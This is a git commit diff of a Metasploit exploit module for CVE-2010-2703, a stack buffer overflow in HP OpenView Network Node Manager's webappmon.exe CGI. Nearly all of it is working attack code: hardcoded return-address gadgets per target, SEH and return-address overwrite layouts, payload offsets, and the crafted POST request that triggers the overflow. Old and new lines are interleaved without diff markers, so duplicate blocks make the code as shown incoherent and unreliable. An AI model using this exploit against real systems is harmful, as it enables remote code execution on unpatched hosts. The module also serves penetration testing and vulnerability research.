merge my work on cve-2010-2703
git-svn-id: file:///home/svn/framework3/trunk@12101 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake
parent
efd7b84cc5
commit
6fa39eb32c
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@ -12,36 +12,55 @@
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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Rank = GreatRanking
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HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/webappmon.exe', :pattern => /Hewlett-Packard Development Company/ }
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::Seh
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#include Msf::Exploit::Remote::Seh
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def initialize(info={})
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super(update_info(info,
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'Name' => "HP NNM CGI webappmon.exe execvp Buffer Overflow",
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'Description' => %q{
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This module exploits a buffer overflow in HP NNM's webappmon.exe.
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The vulnerability occurs when function "execvp_nc" fails to do any bounds-
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checking before strcat is used to append user-supplied input to a buffer.
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},
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'Name' => 'HP OpenView Network Node Manager execvp_nc Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
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prior to NNM_01207 or NNM_01206 without the SSRT100025 hotfix. By specifying a long 'sel'
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parameter when calling methods within the 'webappmon.exe' CGI program, an attacker can
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cause a stack-based buffer overflow and execute arbitrary code.
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This vulnerability is not triggerable via a GET request due to limitations on the
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request size. The buffer being targetted is 16384 bytes in size. There are actually two
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adjacent buffers that both get overflowed (one into the other), and strcat is used.
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The vulnerable code is within the "execvp_nc" function within "ov.dll" prior to
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v 1.30.12.69. There are no stack cookies, so exploitation is easily achieved by
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overwriting the saved return address or SEH frame.
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This vulnerability might also be triggerable via other CGI programs, however this was
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not fully investigated.
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} ,
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'Author' =>
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[
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'Shahin Ramezany <shahin[at]abysssec.com>', # MOAUB #6 PoC and binary analysis
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'sinn3r',
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'jduck' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'Version' => "$Revision$",
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'Author' =>
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[
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'shahin <shahin[at]abysssec.com>',
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'sinn3r',
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],
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'References' =>
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[
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['CVE', '2010-2703'],
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['OSVDB', '66514'],
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[ 'CVE', '2010-2703' ],
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[ 'OSVDB', '66514' ],
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[ 'BID', '41829' ],
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[ 'URL', 'http://www.vupen.com/english/advisories/2010/1866' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-137/' ],
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[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02286088' ]
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],
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'Payload' =>
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{
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'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f",
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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'EncoderOptions' => {'BufferRegister'=>'ECX'},
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'Space' => 1024, # 16384 buffer..
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'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x24\x2c\x3b\x60",
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'DisableNops' => true,
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},
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'DefaultOptions' =>
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{
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@ -51,53 +70,113 @@ class Metasploit3 < Msf::Exploit::Remote
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Server 2003 Ent', {'Ret'=>0x5A30532D} ],
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[ 'HP OpenView Network Node Manager 7.53 w/NNM_01206',
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{
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'Ret' => 0x5a02aacf, # pop edx/pop ebp/ret - in ov.dll (v1.30.12.29)
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}
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],
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[ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',
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{
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'Ret' => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959
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}
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],
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[ 'Debug Target',
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{
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'Ret' => 0xdeadbeef, # crasher
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}
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]
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],
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'DisclosureDate' => "SEP 6 2010"))
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'DisclosureDate' => 'July 20 2010'))
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register_options(
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[
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Opt::RPORT(80),
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], self.class)
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register_options(
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[
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Opt::RPORT(80),
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], self.class)
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end
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def exploit
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nops = make_nops(1000)*10
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print_status("Trying target #{target.name}...")
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sploit = nops[0, 5455]
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sploit << generate_seh_record(target.ret)
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sploit << "\x61"*13
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sploit << "\x51"
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sploit << "\xc3"
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sploit << nops[0, 57]
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sploit << payload.encoded
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sploit << nops[0, 10000-sploit.length]
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cgi = '/OvCgi/webappmon.exe'
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post_data = "ins=#{sploit}&sel=#{sploit}&app=#{sploit}&act=#{sploit}&arg=#{sploit}&help=#{sploit}&cache=1600 HTTP/1.1"
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#
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# [ char CommandLine[16384] ][ char Parameters[16384] ]
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#
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# The first buffer gets smashed into the second, and a strcat is used on the second as well.
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# Therefore, we get an addative overflow.
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#
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connect
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# Parameters before strcat
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param_beg = "std \\\\.\\pipe\\OVSystem\\stdout\\0000038c00000001 \\\\.\\pipe\\OVSystem\\stderr\\0000038c00000001 "
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print_status("Sending malicious request...")
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send_request_raw({
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'uri' => '/OvCgi/webappmon.exe',
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'data' => post_data,
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'version' => '1.1',
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'method' => 'POST',
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'headers' => {
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'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
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'Accept-Language' => 'en-us,en;q=0.5',
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'Accept-Encoding' => 'gzip,deflate',
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'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
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'Keep-Alive' => '300',
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'Connection' => 'Keep-Alive',
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'Cache-Control' => 'max-age=0',
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'Content-Length' => post_data.length,
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'Content-Type' => 'application/x-www-form-urlencoded',
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}
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# CommnadLine before / after strcat
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cmd_beg = "OVcmd "
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cmd_beg << param_beg
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cmd_beg << "ping.exe -n 3 \""
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cmd_end = "\" "
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# Other actions include: rping demandPoll natping locateRoute
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# And more...
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action = 'ping'
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# The buffer size is 16384, but we need to send enough extra so that we can still
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# overwrite the saved return address etc..
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bufsz = 16384 + param_beg.length
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# These addresses are within ov.dll
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ptr_to_zero = 0x5a066fff
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ptr_to_nonzero = 0x5a06706f
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ptr_to_ppr = target.ret
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ptr_to_ret = target.ret + 2
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payload_off = 578 # re-used pointer on the stack
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fixret_off = 16394
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fixret = [
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ptr_to_ppr,
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# stay alive til ret
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ptr_to_zero,
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ptr_to_nonzero
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]
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# ret slide down to within 2 pops :)
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((0x40 / 4) - 3).times {
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fixret << ptr_to_ret
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}
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# use the ppr to jump the last two, and go to the ptr
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fixret << ptr_to_ppr
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fixret = fixret.pack('V*')
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buf = ''
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buf << rand_text(bufsz - cmd_end.length)
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buf[fixret_off, fixret.length] = fixret
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# Put the payload in.
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buf[payload_off, payload.encoded.length] = payload.encoded
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# Slice off the start (so pattern_offset returns offset from beginning
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buf.slice!(0, cmd_beg.length)
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res = send_request_cgi({
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'uri' => cgi,
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'method' => "POST",
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'vars_post' =>
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{
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'ins' => 'nowait',
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'sel' => buf,
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'act' => action
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}
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}, 3)
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if res and res.code != 502
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print_error("Eek! We weren't expecting a response, but we got one")
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if datastore['DEBUG']
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print_error('')
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print_error(res.inspect)
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end
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end
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handler
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disconnect
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end
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end
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end
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